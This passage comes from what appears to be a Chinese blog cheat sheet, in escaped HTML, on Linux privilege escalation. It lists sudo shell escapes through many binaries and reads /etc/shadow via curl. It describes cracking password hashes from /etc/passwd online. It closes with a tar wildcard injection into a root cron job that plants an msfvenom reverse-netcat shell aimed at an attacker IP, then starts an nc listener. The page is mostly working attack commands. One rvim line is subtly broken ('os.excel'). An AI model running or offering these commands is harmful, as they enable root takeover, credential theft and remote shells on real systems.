&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo curl file:///etc/shadow
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;切换到dash终端小型设备适用&#34;&gt;切换到dash终端（小型设备适用）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo dash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;ed文本编辑器一次只能编辑一行&#34;&gt;ed文本编辑器（一次只能编辑一行）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ed
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;!/bin/sh		发现输出内容和命令行类似，可以直接当作终端使用
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;env查询环境变量同时执行sh顺手的事&#34;&gt;env查询环境变量同时执行sh（顺手的事）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo env /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;expect自动化脚本&#34;&gt;expect自动化脚本
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo expect -c &amp;#39;spawn /bin/sh;interact&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;find查找同时执行sh顺手的事2&#34;&gt;find查找同时执行sh（顺手的事*2）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo find . -exec /bin/sh \; -quit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;ftp协议&#34;&gt;ftp协议
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;lessmore查看顺手的事3&#34;&gt;less/more查看（顺手的事*3）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo less /etc/passwd		
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;或	 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo more /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;man文档查看&#34;&gt;man文档查看
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo man man
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;socat网络工具&#34;&gt;socat网络工具
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo socat stdin exec:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;ssh连接&#34;&gt;ssh连接
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ssh -o ProxyCommand=&amp;#39;;sh 0&amp;lt;&amp;amp;2 1&amp;gt;&amp;amp;2&amp;#39; x
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;vi文本编辑器&#34;&gt;vi文本编辑器
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo vi -c &amp;#39;:!/bin/sh&amp;#39; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;切换到zsh终端&#34;&gt;切换到zsh终端
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo zsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;pico&#34;&gt;pico
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo pico
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;^R^X(Ctrl+R Ctrl+X)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;rvim文本编辑器适用于有python3的环境&#34;&gt;rvim文本编辑器（适用于有python3的环境）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo rvim -c &amp;#39;:python3 import os; os.excel(&amp;#34;/bin/sh&amp;#34;,&amp;#34;sh&amp;#34;,&amp;#34;-c&amp;#34;,&amp;#34;reset; exec sh&amp;#34;)&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;perl&#34;&gt;perl
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo perl -e &amp;#39;exec &amp;#34;/bin/sh&amp;#34;;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;tclsh&#34;&gt;tclsh
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo tclsh
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;exec /bin/sh &amp;lt;@stdin &amp;gt;@stdout 2&amp;gt;@stderr
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;git&#34;&gt;git
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo git -p help config
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;script&#34;&gt;script
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo script -q /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;taskset&#34;&gt;taskset
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo taskset 1 /bin/sh -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;密码破解&#34;&gt;密码破解
&lt;/h2&gt;&lt;p&gt;查看&lt;code&gt;/etc/passwd&lt;/code&gt;文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;将用户名后的密文复制到&lt;a class=&#34;link&#34; href=&#34;https://www.cmd5.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;md5在线解密破解,md5解密加密&lt;/a&gt;进行破解&lt;/p&gt;
&lt;p&gt;例如用户名：hello 密码：nihao（破解后）&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;su hello&lt;/code&gt;并输入密码来切换到这个用户权限&lt;/p&gt;
&lt;h2 id=&#34;tar命令注入&#34;&gt;tar命令注入
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;原理：&lt;code&gt;cat /etc/crontab&lt;/code&gt;查看自动执行的任务，因此可以将自己的木马程序替换进自动化任务当中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;生成木马源代码：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;msfvenom -p cmd/unix/reverse_netcat lhost=[攻击机ip] lport=[端口号] R
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;例如：&lt;code&gt;mkfifo /tmp/qrmq; nc 192.168.80.133 2233 0&amp;lt;/tmp/qrmq | /bin/sh &amp;gt;/tmp/qrmq 2&amp;gt;&amp;amp;1; rm /tmp/qrmq&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;echo&lt;/code&gt;写入代码到&lt;code&gt;shell.sh&lt;/code&gt;并用&lt;code&gt;chmod&lt;/code&gt;修改权限&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo &amp;#34;木马代码&amp;#34; &amp;gt; shell.sh &amp;amp;&amp;amp; chmod +x shell.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接下来创建两个文件：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo &amp;gt; &amp;#34;--checkpoint-action=exec=sh shell.sh&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo &amp;gt; &amp;#34;--checkpoint=1&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这两个文件使得Linux在执行原先的打包备份任务时不会将其视为文件，而是直接借助其高级权限执行木马程序代码&lt;/p&gt;
&lt;p&gt;所以根据我们开始时分析的计划任务列表，只要每过一分钟代码就会被执行一次，启动攻击机：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nc -lvvp [端口号]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
